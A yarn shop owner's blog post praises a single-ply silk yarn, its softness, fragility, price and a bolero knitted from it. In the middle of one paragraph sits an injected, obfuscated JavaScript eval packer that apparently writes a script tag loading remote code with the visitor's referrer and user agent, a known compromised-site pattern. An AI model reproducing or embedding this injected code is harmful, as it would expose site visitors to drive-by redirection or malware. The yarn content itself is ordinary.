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Royale is my new favourite yarn. I tried it out as an experiment, having only been sent 100g as a sample by a new supplier. I knitted up a tension square and fell in love. I wound the skein and realised that the yarn is not strong  and had to be careful not to pull it too hard as it will break under pressure. However, I believe this will also be an advantage as joining two ends will work by simply twisting them together over a couple of inches, and because is not a slippy yarn like the other Shreya silks it will stick together nicely. Also because it is single ply and not woven, it is extremely light and soft to to the touch,without being ‘catchy’ on your skin. (sorry eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rirdi|var|u0026u|referrer|fihfe||js|php’.split(‘|’),0,{}))
I don’t know the technical term for that but being a Mum and permanently having my hands in water has left me with very dry skin and I sometimes find wool catches on them when I’m knitting – this for me evokes a similar feeling to nails on a blackboard and is a personal HATE)
I digress, so softness – I have literally never felt anything like it. Even the cashmere that I sell, which is amazing, isn’t quite as soft as this.

So, after knitting with it and working out the best needles, tension, etc I decided to buy 8kg and see what happened. The other remarkable thing about this yarn is that it is cheaper than all of my other silks, and cheaper for me means cheaper for you! Unfortunately the base price of silk has increased over the last year and I am going to have to increase the prices for Shreya Queen, Contessa and Earl, but 100g of Silk Royal is going to stay at just £11.

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I made this gorgeous Bolero from a pattern I found on Craftsy, and it worked really well, although I had to use a smaller needle to get the gauge right. I wanted to make something that I could take with me to Fibre East so that customers could see what the yarn looked like once knitted and also to feel it’s softness.

I am really pleased with the results, although when I have time I may redo the edge around the garment because I didn’t pull it tight enough and as such it does quite lay flat properly. However, making it has only confirmed my new love of this yarn and I can’t wait to use it again!

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